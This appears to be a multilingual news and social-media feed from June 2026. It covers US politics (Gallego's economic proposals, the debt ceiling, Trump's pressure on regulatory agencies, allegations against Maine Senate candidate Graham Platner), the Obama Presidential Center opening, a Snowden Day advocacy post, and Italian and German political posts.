Eletto al Senato per la prima volta nel 2024, Gallego ha 46 anni e ha alimentato le ipotesi di una candidatura presidenziale con una nuova proposta sull'energia e con numerose interviste ai media nazionali. La lista dei democratici che si preparano a correre per la Casa Bianca nel 2028 si è allargata in fretta. Anche se le elezioni di midterm del 2026 sono ancora lontane mesi, governatori, senatori e deputati democratici stanno già costruendo i programmi delle loro possibili campagne presidenziali.

Altri esponenti del partito hanno già presentato proposte economiche in vista di una probabile candidatura. A marzo il senatore Chris Van Hollen del Maryland ha illustrato un piano che eliminerebbe del tutto l'imposta federale sul reddito per chi guadagna meno di 46.000 dollari l'anno. Nello stesso mese il senatore Cory Booker del New Jersey ha proposto un taglio delle tasse per le famiglie a reddito medio. "Il messaggio economico è la cosa più importante che i democratici devono capire e impostare bene. Gli elettori delle primarie dovrebbero sostenere chi lo fa meglio", ha detto Celinda Lake, sondaggista democratica. "È la questione più grande per tutti i potenziali candidati del 2028".

Le proposte di Gallego non hanno alcuna possibilità di passare alla Camera dei rappresentanti né al Senato, entrambi controllati dai repubblicani. La contrattazione di settore incontrerebbe inoltre una forte resistenza dal mondo delle imprese. I sostenitori affermano che una maggiore presenza sindacale farebbe crescere le retribuzioni in generale, mentre i conservatori sostengono da tempo che gli accordi validi per tutto il settore finirebbero per comprimere i salari, impedendo ai lavoratori di trattare con le singole aziende. La contrattazione di settore "impedisce ai datori di lavoro di attrarre i migliori talenti offrendo più dei concorrenti", ha scritto in un documento l'Institute for the American Worker, un centro studi di orientamento conservatore, ricordando che negli Stati Uniti i lavoratori ottengono in genere aumenti maggiori cambiando impiego anziché aspettando un ritocco dello stipendio dove già lavorano.

Dalla sua sinistra Gallego sarà probabilmente criticato per non essere andato abbastanza lontano contro il potere concentrato delle grandi aziende tecnologiche. A differenza di Van Hollen, il senatore dell'Arizona non ha ancora sostenuto un piano di Sanders per raccogliere oltre 4 mila miliardi di dollari con una tassa sul patrimonio dei circa mille miliardari americani. Lunedì Sanders ha anche chiesto una tassa una tantum del 50 per cento sulle azioni delle principali aziende di intelligenza artificiale.

Gallego ha detto di non essere ancora pronto a sostenere quella proposta. "Non sarei contrario. Devo studiarla meglio", ha spiegato. "Vogliamo essere sicuri di non ostacolare l'innovazione, ovviamente. Ma si può sostenere che parte dei profitti dell'intelligenza artificiale sia in realtà venuta dal bene pubblico".

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TA4922: Chinese Cybercrime Group Deploys Atlas RAT, ValleyRAT and AI-Assisted Malware in Global Phishing Blitz
#CyberSecurity
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Google Gemini Voice Assistant Hijacked via WhatsApp, Slack and SMS: Researchers Bypass All Google Defenses
#CyberSecurity
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Iran-Linked Black Shadow Group Obliterates IT, Backups and Recovery Systems Across US and Middle East
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The Gentlemen Ransomware Group: Fortinet Exploits, AI Operations, and Custom C2 Make Them 2026’s Most Dangerous Crew
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Un’altra frottola targata Meloni.

Nel video Francesca Romana D’Antuono, copresidente di Volt Europa, ricorda che sì, l’Italia potrà usare più margine di bilancio per l’energia. Ma Bruxelles ha messo un paletto enorme: non per finanziare i fossili.

La deroga serve a sostenere transizione, efficienza, reti e fonti pulite: proprio ciò che Meloni ha attaccato per anni.

Praticamente festeggia una sua sconfitta politica.

#TransizioneEcologica #EnergiaPulita #NoFossili #GreenDeal #CrisiClimatica #EuropaFederale #Volt #VoltItalia #VoltEuropa

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Il debito pubblico americano continua a salire


Secondo il Bipartisan Policy Center il governo americano toccherà il nuovo limite stabilito dal Congresso tra la fine dell'inverno e la metà dell'estate del prossimo anno. Per evitare il default servirà una nuova legge approvata dal prossimo Congresso che sarà eletto a novembre.

Il governo degli Stati Uniti raggiungerà il tetto del debito di 41.100 miliardi di dollari già il prossimo anno, probabilmente tra la fine dell'inverno e la metà dell'estate. Lo prevede il Bipartisan Policy Center in un'analisi pubblicata giovedì 4 giugno. Le stime dell'istituto indipendente sono considerate un punto di riferimento a Washington sul tema della sostenibilità del debito federale.

Il centro studi ha analizzato i dati più recenti sui flussi di cassa federali per stimare quando il Paese rischierà di trovarsi di nuovo senza margini per poter onorare i propri impegni finanziari. La scorsa estate i repubblicani avevano alzato il limite di 5.000 miliardi di dollari con il "One Big Beautiful Bill Act", la grande legge di bilancio voluta dal presidente Donald Trump.

Ora il prossimo Congresso che verrà eletto a novembre e lo stesso Trump dovranno approvare una nuova legge per aumentare ulteriormente il tetto o sospenderlo del tutto, per evitare un default senza precedenti del debito americano che, secondo molti economisti, avrebbe conseguenze pesanti sull'economia mondiale.

Finanza pubblica · Dati

Il debito americano verso il sorpasso del record del dopo guerra


Nell'anno fiscale 2026 il debito federale detenuto dal pubblico ha raggiunto il 101% del PIL. Secondo il Congressional Budget Office, entro il 2029 supererà il precedente record del 1946 — e intanto il tetto del debito torna a incombere già nel 2027.

Congressional Budget Office · Bipartisan Policy Center Anni fiscali 1940–2036

Anno fiscale 2026
101%

vs

Record 1946
106,1%

Debito detenuto dal pubblico in rapporto al PIL
Il record precedente toccato all'uscita dalla seconda guerra mondiale

Il CBO prevede il sorpasso del record precedente già intorno al 2029

Esplora i dati
1 La traiettoria 2 Il tetto del debito

La serie storica

Ottant'anni di debito, dal picco bellico al nuovo massimo


Debito federale detenuto dal pubblico in percentuale del PIL, per anno fiscale. Tocca o sfiora il grafico per leggere il dato di ogni anno.

Dato storico (CBO/OMB)
Proiezione CBO, feb. 2026
Record 1946: 106,1%

Il debito del 1946 era il risultato di una guerra mondiale, e si ridusse rapidamente con l'arrivo della pace. Quello di oggi cresce in tempo di pace: il CBO lo prevede al 120% del PIL già nel 2036, senza alcuna inversione di rotta in vista.

Le scadenze

La corsa verso il tetto del debito


Stima preliminare del Bipartisan Policy Center pubblicata il 4 giugno 2026, basata sui flussi di cassa del Tesoro fino a maggio.

Luglio 2025
Il Congresso alza il tetto di 5.000 miliardi di dollari
La legge di spesa voluta da Trump porta il limite da 36.100 a 41.100 miliardi.

Oggi · Giugno 2026
Oltre metà del nuovo margine è già stata consumata
In undici mesi il debito pubblico soggetto a questo limite è già cresciuto di 2.900 miliardi di dollari.

Tardo inverno – metà estate 2027
Gli Stati Uniti raggiungeranno di nuovo il tetto
Senza un nuovo intervento del Congresso, il Tesoro dovrà attingere alle riserve di cassa — circa 950 miliardi attesi a fine anno fiscale 2026 — e alle "misure straordinarie".

6–9 mesi dopo · La "data X"
Esaurite le misure straordinarie, rischio default
A quel punto il governo federale non potrebbe più onorare tutti i propri obblighi finanziari in modo puntuale e integrale.

Le tre incognite sulla data

29 mld $
Costi stimati dal Pentagono per il conflitto con l'Iran

166 mld $
Rimborsi dei dazi giudicati illegittimi dalla Corte Suprema, più interessi

−23%
Calo del gettito da imposte societarie, contro il +5% di redditi e lavoro

Fonti Congressional Budget Office (Monthly Budget Review FY2025; Budget and Economic Outlook 2026–2036, febbraio 2026); OMB Historical Tables; Bipartisan Policy Center, "When Will We Reach the Debt Limit (Again)?", 4 giugno 2026. Elaborazione: FocusAmerica.

Le "misure straordinarie" del Tesoro


Quando il limite viene raggiunto, il Dipartimento del Tesoro ricorre alle cosiddette "misure straordinarie": vale a dire, utilizza le riserve di liquidità disponibili e adotta manovre contabili temporanee per continuare a pagare le obbligazioni del governo senza superare formalmente il tetto del debito. Secondo il Bipartisan Policy Center, questi strumenti garantiscono un margine aggiuntivo di sei-nove mesi prima del momento critico.

Per i membri del Congresso americano, però, votare a favore di un nuovo aumento del debito è sempre più rischioso sul piano politico. Il debito federale ha ormai ampiamente superato il Prodotto Interno Lordo e la preoccupazione degli elettori per deficit e conti pubblici fuori controllo continua a crescere.

Un debito che pesa sempre di più


All'inizio dell'anno il Congressional Budget Office aveva previsto che il debito pubblico federale salirà da oltre il 100% del PIL di quest'anno al 120% entro un decennio, ben oltre il precedente record del 106% raggiunto nel 1946, subito dopo la seconda guerra mondiale.

Nel frattempo, secondo un nuovo sondaggio del Pew Research Center, è aumentata rispetto a un anno fa anche la quota di adulti americani che considera il deficit in aumento come un problema grave. Gli Stati Uniti si avviano a chiudere l'anno fiscale in corso spendendo circa 2.000 miliardi di dollari in più rispetto alle entrate.

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Difesa comune europea, alla Camera lo studio che sfida il riarmo: “Spendiamo già come una superpotenza, ma male”


@Politica interna, europea e internazionale
L’ultimo rapporto dell’Istituto di Ricerche Internazionali Archivio Disarmo (IRIAD), presentato questa mattina alla Camera dei Deputati nel corso di una conferenza stampa promossa dall’eurodeputato del Gruppo S&D

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Mit einem Paket an Gesetzen will die EU-Kommission digital souveräner werden. Aber das positiv besetzte Label verschleiert eine knallharte Industrie-Agenda: Neue Rechenzentren sollen massig Energie verschlingen. Ein Kommentar.

netzpolitik.org/2026/rechenzen…

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Come Trump ha preso il controllo delle agenzie regolatorie americane


Il presidente interviene direttamente su fusioni, approvazioni farmaceutiche e licenze televisive, ribaltando una prassi di decenni che teneva la Casa Bianca lontana dalle agenzie indipendenti

Nell'agosto 2024, in una riunione nello Studio Ovale per discutere l'acquisizione da 13 miliardi di dollari di Interpublic Group da parte di Omnicom, il presidente Donald Trump prese il telefono e chiamò in viva voce un suo amico, l'amministratore delegato di Newsmax Chris Ruddy. La fusione tra i due colossi era una pratica di routine, di quelle che storicamente vengono gestite dallo staff della Federal Trade Commission senza coinvolgere la Casa Bianca. Ruddy, alla guida di un canale televisivo conservatore, sosteneva di essere vittima di un boicottaggio pubblicitario e chiese al presidente della FTC Andrew Ferguson di bloccare l'operazione, oppure di imporre alle due aziende un fondo da 250 milioni di dollari per compensare Newsmax e altre parti danneggiate. Trump rise della richiesta, definendola "bullshit". Ferguson disse di no e lasciò chiudere il deal.

L'episodio, ricostruito dal Wall Street Journal grazie a fonti coinvolte nella telefonata, è solo l'esempio più vistoso di un cambiamento profondo che sta investendo il sistema regolatorio degli Stati Uniti. Trump è entrato direttamente nelle decisioni delle agenzie federali, comprese quelle indipendenti che il Congresso aveva creato proprio per tenerle al riparo dalla politica della Casa Bianca. Funzionari ed ex commissari di varie amministrazioni dicono che è estremamente inusuale che un presidente si occupi nel dettaglio delle istruttorie regolatorie, e i predecessori evitavano accuratamente di esprimersi prima della conclusione delle stesse.

Poche settimane dopo il ritorno alla Casa Bianca, Trump ha firmato un ordine esecutivo che impone per la prima volta alle agenzie indipendenti di sottoporre i principali regolamenti all'ufficio del budget della Casa Bianca. Ha poi licenziato i commissari democratici di diverse agenzie, compresa la FTC, che ora ha solo due commissari su cinque, entrambi repubblicani. La Corte Suprema sta riesaminando proprio in queste settimane se il presidente possa rimuovere senza giusta causa figure di questo tipo.

Le aziende ormai aggirano i funzionari delle agenzie e si rivolgono direttamente al presidente. Le dichiarazioni di lobbying rivolte alla Casa Bianca sono cresciute del 70% nel 2025, secondo un'analisi di Bloomberg Government sui registri federali. Alcuni capi delle agenzie incoraggiano apertamente questo coinvolgimento. "Penso che sia un bene che si coinvolga e abbia discussioni con i diversi amministratori delegati", ha detto Brendan Carr, presidente della Federal Communications Commission, che vigila sulle comunicazioni delle reti televisive.

Il caso più clamoroso riguarda la Food and Drug Administration. Il presidente ha recentemente rimosso il commissario Marty Makary, in gran parte per la sua riluttanza a eseguire gli ordini della Casa Bianca. Il licenziamento è arrivato pochi giorni dopo un incontro tra Trump e dirigenti dell'industria del tabacco che spingevano per accelerare le approvazioni dei prodotti da svapo aromatizzati, una delle questioni su cui Makary si era scontrato con la Casa Bianca. Il 30 aprile, poco prima di quell'incontro, una controllata di Reynolds American aveva versato 5 milioni di dollari a un super PAC pro-Trump. Stacey Kennedy, amministratrice delegata di Philip Morris International per gli Stati Uniti, ad aprile ha partecipato a un evento di raccolta fondi da un milione di dollari a persona nella tenuta vinicola di Trump in Virginia.

Il podcaster Joe Rogan ha proposto via messaggio a Trump l'approvazione di un farmaco psichedelico, ricevendo come risposta: "Sembra ottimo. Vuoi l'approvazione della FDA? Facciamolo". Diverse aziende farmaceutiche hanno ingaggiato lobbisti per rivolgersi direttamente ai consiglieri del presidente. A maggio, la biotech Replimune Group ha incontrato funzionari della Casa Bianca dopo mesi di scontro con Makary su un nuovo farmaco contro il melanoma. Anche l'amministratore delegato di United Airlines Scott Kirby ha presentato a Trump la sua proposta di acquistare American Airlines per creare un "campione nazionale": il presidente ha detto a CNBC di essere contrario alla fusione e meno di una settimana dopo United ha abbandonato il progetto.

Brendan Carr è entrato nella Federal Communications Commission nel 2012 e ha lavorato per anni sui dossier tecnici delle telecomunicazioni prima di diventare presidente con Trump. Cresciuto in un sobborgo benestante della Virginia ed educato nelle scuole private, ha adottato negli ultimi anni una postura più populista vicina al movimento MAGA: i colleghi raccontano che occasionalmente arriva in ufficio con gli stivali da cowboy. Sua moglie Machalagh Carr è stata capo di gabinetto dello speaker della Camera Kevin McCarthy e ha contribuito alla risalita politica di Trump dopo il 6 gennaio. Carr stesso visita Mar-a-Lago tre o cinque volte ogni inverno, è stato visto indossare una spilla d'oro con il profilo del presidente e briefa regolarmente Trump e i suoi collaboratori sulle decisioni prima di prenderle.

Sotto la guida di Carr la FCC ha approvato operazioni che mettono in tensione le sue stesse regole. Nel 2024 Trump ha fatto causa a Paramount per 10 miliardi di dollari, poi saliti a 20, accusando CBS News di aver manipolato un'intervista con la sua avversaria Kamala Harris. La causa è arrivata mentre Paramount aveva bisogno dell'approvazione della FCC per la fusione con Skydance, controllata dal figlio dell'alleato di Trump Larry Ellison. Dopo un evento al Kennedy Center nel dicembre 2024, i dirigenti di Paramount riferirono ai loro contatti di essersi sentiti minacciati da Carr sul fatto che la fusione non sarebbe passata senza una transazione con il presidente. Una persona vicina a Carr ha negato la minaccia. A luglio, Paramount ha accettato di pagare 16 milioni di dollari per chiudere la causa di Trump, sapendo di non poter ottenere altrimenti il via libera al deal. Il denaro è andato alla futura biblioteca presidenziale e alle spese legali.

A marzo, la FCC ha approvato l'acquisto di un'emittente rivale da parte di Nexstar Media Group, il cui amministratore delegato Perry Sook è descritto come politicamente conservatore. L'operazione porterebbe la nuova entità a coprire circa l'80% delle famiglie americane con un televisore, ben oltre il tetto del 39% fissato dalla stessa FCC. L'approvazione è arrivata mentre alcune emittenti di Nexstar avevano sospeso temporaneamente la trasmissione del programma "Jimmy Kimmel Live!" dell'ABC, in protesta per una battuta del conduttore sulle reazioni di Trump e altri all'omicidio di Charlie Kirk. Otto stati e l'emittente satellitare DirecTV hanno fatto causa per bloccare l'operazione su basi antitrust. Un giudice federale ad aprile ha sospeso la fusione, contro cui Nexstar ha presentato appello.

Ad aprile, Carr ha annunciato l'apertura di un'istruttoria sulle licenze televisive dell'ABC, controllata da Disney. La decisione è arrivata il giorno dopo che Trump aveva chiesto sui social il licenziamento di Kimmel per un'altra battuta, questa volta sulla first lady Melania Trump. Carr ha detto che la revisione è collegata alle iniziative di diversità, equità e inclusione di Disney. La FCC ha aperto anche un'indagine su una stazione ABC di Houston per un'intervista al deputato democratico texano James Talarico nel programma "The View" e sul fatto che il programma possa essere considerato un notiziario. A un evento per donatori alla Casa Bianca, Trump si è vantato che il suo presidente della FCC stesse facendo un buon lavoro nel controllare i media e "tenerli responsabili", citando ripetutamente Carr davanti ai presenti. Anche alcuni repubblicani, tra cui il senatore del Texas Ted Cruz, hanno criticato il suo approccio, sostenendo che potrebbe ritorcersi contro i conservatori quando i democratici torneranno al potere.

Alla Federal Trade Commission, Ferguson incontra la Casa Bianca con una frequenza senza precedenti: nei primi tre mesi del 2025 ha avuto dieci riunioni alla Casa Bianca, lo stesso numero che la presidente uscente Lina Khan, sotto Joe Biden, aveva avuto nel suo ultimo intero anno di mandato. Lo scorso anno, quando Mark Zuckerberg ha fatto pressioni per fermare il processo antitrust contro Meta, Trump ha chiesto a Ferguson di trovare un accordo. Il presidente della FTC ha chiesto un incontro con Trump e, con un pitch deck in mano, lo ha convinto a non intervenire e a lasciare che il caso andasse in tribunale, spiegando che Meta non era disposta a pagare i 30 miliardi di dollari richiesti dall'agenzia. Trump ha dato il via libera e a novembre Meta ha vinto in tribunale. Ex commissari della FTC dicono che è straordinario che un presidente dell'agenzia debba convincere il capo dello Stato della fondatezza di un procedimento antitrust.

Nel primo mandato di Trump, il presidente della FTC Joe Simons aveva talvolta rifiutato di seguire gli ordini della Casa Bianca: quando Trump chiese all'agenzia di indagare sul presunto bias contro i conservatori delle piattaforme social, Simons rispose che il suo mandato non comprendeva la libertà di parola politica. Ferguson invece ha accolto quel filone. A febbraio ha inviato all'amministratore delegato di Apple Tim Cook una lettera in cui sostiene che il prodotto Apple News potrebbe violare la legge federale promuovendo contenuti liberal e sopprimendo voci di testate conservatrici. Ferguson stesso descrive pubblicamente l'agenzia con una formula che alcuni avvocati antitrust giudicano svilente per il ruolo storico della FTC: "la Trump-Vance FTC".

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Verschiedene LKAs in Deutschland nutzen offenbar Daten von Databrokern für eigene Ermittlungen – Expert*innen bezweifeln stark, dass das rechtens ist.
🚨 Das Pikante dabei: Neun Bundesländer sowie zahlreiche Bundesbehörden schweigen dazu, ob Databroker-Files verwendet werden.

Link zum Artikel: netzpolitik.org/2026/daten-sch…

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Un bacio tra due uomini non è una provocazione. Non è mancanza di educazione. Non è qualcosa da confinare nel privato per non disturbare chi continua a considerare la visibilità LGBTQIA+ un problema.

Alla lounge ITA di Fiumicino, Roberto Menia, senatore di Fratelli d’Italia, si è scagliato contro una coppia gay che si scambiava carezze durante una videochiamata. “Basta effusioni, fatele a casa vostra”, avrebbe detto: un classico. Poi si è difeso parlando di “educazione” e di “regole valide per tutti”.

Ma le regole non valgono per tutti quando solo alcune coppie vengono fermate, richiamate, umiliate per un gesto d’affetto.

Non serve una legge per escludere: a volte basta qualcuno che si sente autorizzato a sorvegliare i corpi, i baci e la libertà degli altri nello spazio pubblico.

Ecco perché il Pride serve ancora.

Buon mese del Pride. 🏳️‍🌈🏳️‍⚧️✊

#PrideMonth #DirittiLGBTQIA #Omofobia #Fiumicino #DirittiCivili #EuropaFederale #Volt #VoltItalia #VoltEuropa

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Die Polizei in Sachsen soll Menschen umfangreicher überwachen dürfen als je zuvor. BSW, CDU und SPD einigen sich auf die vielfach kritisierte Novelle des Polizeirechts. Entschärft wurde wenig, Opposition und Zivilgesellschaft haben kaum noch Zeit.

netzpolitik.org/2026/smartphon…

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L'Obama Presidential Center apre a Chicago: un obelisco da 850 milioni di dollari


Il museo dedicato al primo presidente nero degli Stati Uniti apre il 19 giugno a Chicago: obelisco di granito alto 70 metri, replica dello Studio Ovale e campus gratuito da 20 acri.

Il centro presidenziale dedicato a Barack Obama aprirà al pubblico il 19 giugno a Chicago, più di dieci anni dopo che l'ex presidente scelse la sua città per ospitare il progetto. Costato circa 850 milioni di dollari, il complesso si estende su quasi 20 acri (8 ettari) nel South Side, il quartiere dove Barack e Michelle Obama hanno vissuto a lungo. La Fondazione Obama lo ha finanziato interamente con donazioni private.

La spesa è lievitata in modo netto rispetto alla stima iniziale, che parlava di 350 milioni di dollari. Il cuore del centro è un obelisco di granito alto 70 metri e quasi privo di finestre, che ospita il museo dedicato al presidente degli Stati Uniti. La forma insolita gli è valsa diversi soprannomi: qualcuno lo chiama l'"Obamalisk", altri lo paragonano a un'astronave della saga di Star Wars.

La cerimonia di inaugurazione si tiene il 18 giugno e sarà trasmessa in diretta. Dal 19 al 21 giugno è in programma un fine settimana di festeggiamenti aperti al pubblico, con musica dal vivo, stand gastronomici, aree per i tifosi delle squadre di Chicago e attività per le famiglie. Barack e Michelle Obama sono attesi in città per l'apertura. I biglietti per il museo sono già esauriti per il primo fine settimana.

Il museo racconta sia la dimensione politica sia quella personale di Obama. È il primo del suo genere a essere interamente digitale: rinuncia ai documenti ufficiali esposti sotto vetro e punta invece su installazioni tecnologiche e interattive che ripercorrono le campagne elettorali, i momenti chiave della presidenza e la vita alla Casa Bianca. Una delle attrazioni principali è la riproduzione esatta dello Studio Ovale, dove i visitatori possono sedersi dietro una copia a grandezza naturale della "Resolute Desk", la scrivania presidenziale. Il suo minimalismo contrasta con le dorature care al presidente Donald Trump, che ne ha aggiunte molte fin dal suo ritorno alla Casa Bianca.

Al primo piano sono esposti oggetti della giovinezza del presidente, tra cui il calco della sua mano, mentre i piani successivi ricostruiscono la vittoria alle elezioni del 2008 e i risultati del suo mandato. In mostra ci sono anche alcuni abiti indossati da Michelle Obama, una decina circa protetti da vetrine, compreso il vestito nero e rosso disegnato da Narciso Rodriguez che l'ex first lady indossò la sera della vittoria del 2008 a Chicago.

In cima alla torre svettano enormi lettere di pietra che riproducono un passaggio di un discorso pronunciato da Obama nel 2015 a Selma, in Alabama, città simbolo del movimento per i diritti civili. Sempre in alto si trova una sala panoramica con vista su Chicago, da cui i visitatori possono guardare la città letteralmente attraverso le parole del discorso. All'esterno una statua della coppia presidenziale, di poco più grande del naturale, accoglie i visitatori, mentre un ristorante propone un "Obama Burger" a 15,50 dollari.

Alcuni numeri danno la misura del progetto. Il museo, a pagamento, prevede circa 600.000 visitatori all'anno, mentre le aree gratuite del campus potrebbero attirarne fino a un milione. La "Presidential Reading Room", la sala di lettura di una nuova sede della biblioteca pubblica di Chicago all'interno del complesso, raccoglie circa 3.500 titoli scelti personalmente dagli Obama. Sono esposte 440 diverse spille delle campagne elettorali e 28 opere d'arte commissionate a 30 artisti. Nei giardini del campus c'è anche un apiario con un alveare.

Gran parte del campus è gratuita e aperta a tutti: comprende la sede della biblioteca pubblica di Chicago, un campo da basket regolamentare, un'area giochi, uno spazio per picnic con griglie, installazioni artistiche e ampie zone verdi. L'ingresso al museo costa invece 30 dollari per gli adulti dai 12 anni in su e 26 per i residenti dell'Illinois, mentre per i bambini dai 3 agli 11 anni il prezzo è di 23 dollari, ridotto a 15 per i residenti dello Stato. L'accesso è gratuito ogni martedì per i residenti dell'Illinois e sempre per insegnanti dello Stato, militari in servizio, veterani e soccorritori di Chicago.

"È un'eredità viva, che respira, perché la nostra speranza è che le persone riportino il cambiamento nelle loro comunità", ha dichiarato a NBC News Valerie Jarrett, amministratrice delegata della Fondazione Obama ed ex stretta consigliera dell'ex presidente alla Casa Bianca. Michael Strautmanis, responsabile delle relazioni istituzionali della fondazione, ha spiegato all'agenzia France-Presse che l'obiettivo non è celebrare "una porzione ristretta e particolare" dell'eredità di Obama ma "ispirare nuovi leader". L'architetto Billie Tsien lo ha definito "il segno distintivo di una presidenza particolare".

I primi giudizi sono contrastanti. Il New York Times ha definito l'architettura "fredda e respingente", mentre il Washington Post ha parlato di una "frattura temporale". Il presidente Donald Trump, che non apprezza né Obama né l'architettura moderna, lo ha paragonato a un bidone della spazzatura. Obama stesso ha respinto l'idea di aver costruito un "monumento alla mia eredità": "È una porta d'ingresso verso la vostra", ha detto. Trump, dal canto suo, ha manifestato l'intenzione di erigere una Trump Presidential Library a Miami, con un proprio Studio Ovale e un aereo Air Force One.

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Celebrating June 6th as Edward Snowden Day


We recognize June 6th as Edward Snowden Day in commemoration of when the news he provided about the top-secret Prism was first revealed to the world. We hope this day will not focus on the negative aspects of surveilance states but will symbolize a day for digital human rights, privacy, and freedom.

We are both celebrating Edward Snowden as a person as well as the meaning of what he revealed and helped us protect, our digital freedom. We honor all of those, like Mr. Snowden, with the courage to speak the truth about a system that still exists today.

Thirteen years ago the world learned that the surveillance state is real.


On June 5, 2013, Edward Snowden first revealed evidence of global mass surveillance to journalists. The next day, on June 6, the story broke publicly with reports showing that the United States National Security Agency had access to data from major internet companies through the PRISM program. The Guardian’s original report helped bring this story to the world.

The revelations did not only show one government program. They showed us that modern surveillance had become deeply embedded in many governments´ infrastructures. States are monitoring citizens. They are looking at our private communications. Intelligence agencies are using global communication networks in ways we never imagined or thought were only dystopian science fiction. Democratic governments are treating transparency as a threat.

As Amnesty International later summarized, the Snowden documents changed public understanding of surveillance. People learned far more about what governments are doing. The public began questioning the legality of surveillance. Technology companies faced new pressure to improve encryption and privacy protections. Human rights organizations began to speak more clearly about mass surveillance as a direct threat to human rights. Here at PPI we began promoting digital rights at the UN and other forums as a form of fundamental human rights.

Digital rights advocacy took a great leap forward thanks to Edward Snowden.


Edward Snowden is still living in exile. The charges against him still stand. Surveillance programs did not disappear. The political culture that intimidates whistleblowers did not disappear. In many places, it has become even more advanced, more automated, and more difficult for citizens to see.

That is why this day matters. It is not about nostalgia for one moment in 2013. It is about our unfinished fight against the surveillance state. We live in a time when governments persecute those who defend digital rights. Snowden exposed a system of corrupt governance. It is a system that normalizes surveillance across party lines, treats transparency as a danger, and prefers to punish the messenger rather than confront the abuse itself.

Governments ask citizens to trust them, while building tools that make citizens increasingly enslaved. They demand openness from the public, while hiding their own actions behind secrecy. The digital world is no longer separate from the real world. Our digital communication all pass through technical systems, especially now with the advent of AI. When those systems are turned into tools of mass surveillance, the damage becomes oppressive beyond any reasonable measure. Freedom is lost.

Edward Snowden showed us that one person can still shake a global power structure. He showed that truth can be stronger than secrecy, and that courage can be contagious. He also reminded us that technology is never neutral when it is placed in the hands of power without accountability. He showed that the greatest danger is not only the surveillance state itself. The greatest danger is becoming accustomed to it.

We need laws that limit surveillance, not laws that legitimize it.We need to protect whistleblowers. We need tools that enable freedom, not control. We must not accept what is unacceptable simply because it has become normal. We hope that this tradition of celebrating Edward Snowden Day will help keep people aware of the movement and our need to continue to be aware and fight back against the surveillance state, because it is real and it is watching us.

Image: Edward Snowden,
Laura Poitras / Praxis Films,
CC BY 3.0.


pp-international.net/2026/06/e…

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NON C’È ORGOGLIO SENZA RIVOLTA home.rifondazione.eu/2026/06/0… #ComunicatiStampa

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Maine, tre donne accusano il candidato Dem di comportamenti inappropriati


Un'inchiesta del New York Times raccoglie le testimonianze di tre donne che descrivono relazioni "tossiche", episodi di intimidazione fisica e bugie sul tatuaggio di stampo nazista. Il candidato respinge le accuse.

Tre donne che in passato hanno avuto relazioni sentimentali con Graham Platner, candidato democratico al Senato per il Maine, lo descrivono come un uomo affascinante, ma allo stesso tempo capace di umiliare le donne e, almeno in un caso, di intimidirle fisicamente. Le loro testimonianze sono al centro di un'inchiesta esclusiva del New York Times, che si basa su interviste con oltre venticinque persone, tra cui sei ex fidanzate del candidato.

Platner, 41 anni, veterano di guerra e ostricoltore, ha raccontato già in campagna elettorale il proprio passato segnato dal disturbo da stress post-traumatico, dalla depressione e dall'alcol, presentando la sua vita come una storia di guarigione e riscatto. Le nuove rivelazioni complicano però questa narrazione e preoccupano i democratici, che considerano il seggio del Maine decisivo per riconquistare il Senato. La sua probabile avversaria è la senatrice repubblicana uscente Susan Collins.

Maine · Corsa al Senato 2026

Il candidato e le sue ex: l'inchiesta che fa paura ai democratici nel Maine


Tre ex fidanzate di Graham Platner lo descrivono come un uomo capace di umiliare le donne e, almeno in un caso, di intimidirle fisicamente. La campagna del candidato contesta le accuse più gravi, ma su un punto non arriva la smentita.

Inchiesta esclusiva del New York Times Oltre 25 persone intervistate

Lo accusano
3

vs

Lo difendono
3

Ex fidanzate che raccontano umiliazioni subite e, almeno in un caso, intimidazioni fisiche

Ex fidanzate che lo descrivono come un compagno gentile e premuroso

Il New York Times ha sentito in totale 6 ex fidanzate del candidato, nell'ambito di un'inchiesta basata su interviste con oltre 25 persone

Esplora l'inchiesta
1 Le voci 2 Le accuse 3 Cronologia 4 La sfida

Le testimonianze critiche

Tre donne, tre relazioni, un ritratto che si ripete


Tocca ogni nome per leggere il suo racconto. Le tre donne hanno frequentato Platner in periodi diversi della sua vita.

1

Lyndsey Fifield
40 anni · attivista conservatrice della Virginia

2013–15

È la testimonianza più dettagliata. Racconta che Platner, soprattutto quando beveva, la afferrava per le spalle fino a lasciarle segni, la trascinò fuori da un taxi per il polso e, durante un litigio, le torse un braccio dietro la schiena chiudendola in una camera da letto.

«Non mi ha mai colpita, mai presa a pugni»

Fifield ha lavorato per la Heritage Foundation e per la campagna di Nikki Haley nel 2024. Nega motivazioni politiche; secondo il New York Times non risultano legami con la campagna di Susan Collins.

2

Jenny Racicot
Esponente democratica del Maine

2019–21

Sostiene che il candidato «non rispetta le donne». Nel 2021, racconta, Platner si presentò ubriaco a casa sua dopo che lei gli aveva chiesto esplicitamente di non farlo.

3

Terza testimone
Ha chiesto l'anonimato

«Mi sono sentita un danno collaterale del mondo che gli ruota attorno»

L'altra versione

Altre tre ex fidanzate, contattate dal New York Times attraverso lo staff della campagna elettorale, difendono Platner e lo descrivono invece come un compagno gentile e premuroso.

Accusa per accusa

Cosa la campagna nega, cosa non smentisce, cosa il candidato ammette


La mappa delle contestazioni a confronto con le risposte ufficiali raccolte dal New York Times.

Intimidazioni fisiche
La campagna nega

Accusa: prese per le spalle una sua ex fidanzata fino a lasciare segni, trascinamento fuori da un taxi, braccio torto dietro la schiena e porta bloccata dall'esterno.

Il New York Times non è stato in grado di verificare in modo indipendente nessuno di questi episodi.

Le frasi sullo stupro come «dominanza»
Lo staff non smentisce

Secondo Fifield, Platner ripeteva che lo stupro era una questione di potere e che avrebbe «stuprato» un intruso in casa per dimostrare la propria dominanza.

Interpellato dal giornale, lo staff del candidato non ha smentito.

La consapevolezza sul tatuaggio nazista
La campagna nega

Fifield sostiene che Platner conoscesse il significato del teschio tatuato sul petto: lo chiamava «il mio Totenkopf». In autunno il candidato aveva dichiarato di averlo scoperto solo dai giornalisti.

Abuso di alcol e altri comportamenti
Il candidato ammette

Platner riconosce di aver abusato «troppo spesso con l'alcol» e di essere stato «un fidanzato tutt'altro che perfetto» in «un periodo molto buio» della propria vita. Ogni caratterizzazione ulteriore, aggiunge, è «falsa e politicamente motivata».

ContestaSmentita ufficiale
Non smentisceNessuna negazione
AmmetteRiconosciuto dal candidato

La sequenza dei fatti

Dalle relazioni alle rivelazioni: dieci anni in sei tappe


Tocca un evento per i dettagli.

2013–2015
La relazione con Lyndsey Fifield

Platner studia alla George Washington University. A questo periodo risalgono gli episodi di intimidazione fisica raccontati dalla donna.

2019–2021
La relazione con Jenny Racicot

